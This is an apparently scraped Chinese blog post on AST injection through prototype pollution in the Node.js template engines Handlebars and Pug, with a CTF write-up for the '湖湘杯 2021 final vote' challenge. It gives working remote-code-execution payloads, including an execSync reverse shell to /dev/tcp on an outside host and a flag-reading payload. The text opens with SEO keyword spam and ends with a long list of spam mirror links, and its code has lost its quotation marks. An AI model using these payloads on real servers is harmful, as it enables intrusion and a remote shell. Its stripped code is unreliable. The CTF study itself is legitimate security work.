免费空间建站网站推荐,皖icp备 网站建设,网站模板设计,网站建设视频上传文章目录 概念漏洞Handlebarspug 例题 [湖湘杯 2021 final]vote 概念
什么是AST注入
在NodeJS中#xff0c;AST经常被在JS中使用#xff0c;作为template engines(引擎模版)和typescript等。对于引擎模版#xff0c;结构如下图所示。 如果在JS应用中存在原型污染漏洞AST经常被在JS中使用作为template engines(引擎模版)和typescript等。对于引擎模版结构如下图所示。 如果在JS应用中存在原型污染漏洞任何 AST 都可以通过在Parser(解析器)或Compiler(编译器)过程中插入到函数中。 在这里你可以在没有过滤、没有经过lexer(分析器)或parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。
然后我们可以向Parser(编译器)非预期的输入。
下面就是展示实际中在handlebars和pug使用AST注入执行任意命令
漏洞
Handlebars
本地测试代码如下
const Handlebars require(handlebars);const source Hello {{ msg }};
const template Handlebars.compile(source);console.log(template({msg: posix}));这是如何在handlebars使用模板的方法运行结果为下图
Handlebar.compile函数将字符串转换为模板函数并传递对象因子以供调用
const Handlebars require(handlebars);Object.prototype.pendingContent scriptalert(origin)/scriptconst source Hello {{ msg }};
const template Handlebars.compile(source);console.log(template({msg: posix}));在这里我们可以使用原型污染来影响编译过程。 你可以插入任意字符串payload到Object.prototype.pendingContent中决定你想要的攻击。 构造payload
{type: MustacheStatement,path: 0,params: [{type: NumberLiteral,value: console.log(process.mainModule.require(child_process).execSync(id).toString())}],loc: {start: 0,end: 0}
}pug
本地测试源码如下
const pug require(pug);
const source h1 msg;
var fn pug.compile(source);
var html fn({msg: It works});console.log(html);此为在 pug 中使用模板的常见方法运行结果为下图 pug.compile函数将字符串转换为模板函数并传递对象以供调用
const pug require(pug);
Object.prototype.block {type:Text,val:scriptalert(origin)/script};
const source h1 msg;
var fn pug.compile(source, {});
var html fn({msg: It works});
console.log(html);构造payload {__proto__.block: { type: Text, line: process.mainModule.require(child_process).execSync(bash -c bash -i /dev/tcp/p6.is/3333 01)}
}例题 [湖湘杯 2021 final]vote 考察的是pug模板引擎下的rce 源码如下
const path require(path);
const express require(express);
const pug require(pug);
const { unflatten } require(flat);
const router express.Router();router.get(/, (req, res) {return res.sendFile(path.resolve(views/index.html));
});router.post(/api/submit, (req, res) {const { hero } unflatten(req.body);if (hero.name.includes(奇亚纳) || hero.name.includes(锐雯) || hero.name.includes(卡蜜尔) || hero.name.includes(菲奥娜)) {return res.json({response: pug.compile(You #{user}, thank for your vote!)({ user:Guest })});} else {return res.json({response: Please provide us with correct name.});}
});module.exports router;给了./api/submit路由然后看到pug.compile 稍微修改下payload直接使用这道题反弹shell不成功
{hero.name:锐雯,__proto__.block: {type: Text,line: process.mainModule.require(child_process).execSync(cat /f* ./static/1.txt)}
}成功RCE
再访问一下static目录的1.txt得到flag
文章转载自: http://www.morning.lsgsn.cn.gov.cn.lsgsn.cn http://www.morning.xkwyk.cn.gov.cn.xkwyk.cn http://www.morning.dmzzt.cn.gov.cn.dmzzt.cn http://www.morning.rfpb.cn.gov.cn.rfpb.cn http://www.morning.kpqjr.cn.gov.cn.kpqjr.cn http://www.morning.xhlht.cn.gov.cn.xhlht.cn http://www.morning.wjhnx.cn.gov.cn.wjhnx.cn http://www.morning.wpmqq.cn.gov.cn.wpmqq.cn http://www.morning.fosfox.com.gov.cn.fosfox.com http://www.morning.fjscr.cn.gov.cn.fjscr.cn http://www.morning.yhpl.cn.gov.cn.yhpl.cn http://www.morning.fgwzl.cn.gov.cn.fgwzl.cn http://www.morning.pwdrc.cn.gov.cn.pwdrc.cn http://www.morning.phwmj.cn.gov.cn.phwmj.cn http://www.morning.skqfx.cn.gov.cn.skqfx.cn http://www.morning.pmmrb.cn.gov.cn.pmmrb.cn http://www.morning.sfrw.cn.gov.cn.sfrw.cn http://www.morning.pngdc.cn.gov.cn.pngdc.cn http://www.morning.rbjp.cn.gov.cn.rbjp.cn http://www.morning.ssjry.cn.gov.cn.ssjry.cn http://www.morning.pinngee.com.gov.cn.pinngee.com http://www.morning.rpgdd.cn.gov.cn.rpgdd.cn http://www.morning.bwhcl.cn.gov.cn.bwhcl.cn http://www.morning.rpkl.cn.gov.cn.rpkl.cn http://www.morning.rttxx.cn.gov.cn.rttxx.cn http://www.morning.mgfnt.cn.gov.cn.mgfnt.cn http://www.morning.tnhg.cn.gov.cn.tnhg.cn http://www.morning.ctxt.cn.gov.cn.ctxt.cn http://www.morning.rkhhl.cn.gov.cn.rkhhl.cn http://www.morning.qsy36.cn.gov.cn.qsy36.cn http://www.morning.hkshy.cn.gov.cn.hkshy.cn http://www.morning.qgfy.cn.gov.cn.qgfy.cn http://www.morning.lxctl.cn.gov.cn.lxctl.cn http://www.morning.xkzr.cn.gov.cn.xkzr.cn http://www.morning.xqxlb.cn.gov.cn.xqxlb.cn http://www.morning.qlckc.cn.gov.cn.qlckc.cn http://www.morning.fpngg.cn.gov.cn.fpngg.cn http://www.morning.zqsnj.cn.gov.cn.zqsnj.cn http://www.morning.51meihou.cn.gov.cn.51meihou.cn http://www.morning.tslxr.cn.gov.cn.tslxr.cn http://www.morning.dyhlm.cn.gov.cn.dyhlm.cn http://www.morning.dkzwx.cn.gov.cn.dkzwx.cn http://www.morning.qjlnh.cn.gov.cn.qjlnh.cn http://www.morning.jltmb.cn.gov.cn.jltmb.cn http://www.morning.jqtb.cn.gov.cn.jqtb.cn http://www.morning.rydhq.cn.gov.cn.rydhq.cn http://www.morning.wpwyx.cn.gov.cn.wpwyx.cn http://www.morning.mqbsm.cn.gov.cn.mqbsm.cn http://www.morning.xbkcr.cn.gov.cn.xbkcr.cn http://www.morning.qinhuangdjy.cn.gov.cn.qinhuangdjy.cn http://www.morning.gkpgj.cn.gov.cn.gkpgj.cn http://www.morning.mqbzk.cn.gov.cn.mqbzk.cn http://www.morning.fqhbt.cn.gov.cn.fqhbt.cn http://www.morning.yccnj.cn.gov.cn.yccnj.cn http://www.morning.cklld.cn.gov.cn.cklld.cn http://www.morning.sfphz.cn.gov.cn.sfphz.cn http://www.morning.deupp.com.gov.cn.deupp.com http://www.morning.prgyd.cn.gov.cn.prgyd.cn http://www.morning.rfmzc.cn.gov.cn.rfmzc.cn http://www.morning.mxdhy.cn.gov.cn.mxdhy.cn http://www.morning.rcgzg.cn.gov.cn.rcgzg.cn http://www.morning.dpbdq.cn.gov.cn.dpbdq.cn http://www.morning.qwdqq.cn.gov.cn.qwdqq.cn http://www.morning.kscwt.cn.gov.cn.kscwt.cn http://www.morning.zwzwn.cn.gov.cn.zwzwn.cn http://www.morning.xnpml.cn.gov.cn.xnpml.cn http://www.morning.ryysc.cn.gov.cn.ryysc.cn http://www.morning.dxhdn.cn.gov.cn.dxhdn.cn http://www.morning.rhwty.cn.gov.cn.rhwty.cn http://www.morning.kzdgz.cn.gov.cn.kzdgz.cn http://www.morning.zwzlf.cn.gov.cn.zwzlf.cn http://www.morning.hhskr.cn.gov.cn.hhskr.cn http://www.morning.btrfm.cn.gov.cn.btrfm.cn http://www.morning.xzrbd.cn.gov.cn.xzrbd.cn http://www.morning.bsgfl.cn.gov.cn.bsgfl.cn http://www.morning.skbbt.cn.gov.cn.skbbt.cn http://www.morning.lsjtq.cn.gov.cn.lsjtq.cn http://www.morning.jkwwm.cn.gov.cn.jkwwm.cn http://www.morning.wzyfk.cn.gov.cn.wzyfk.cn http://www.morning.xpmwt.cn.gov.cn.xpmwt.cn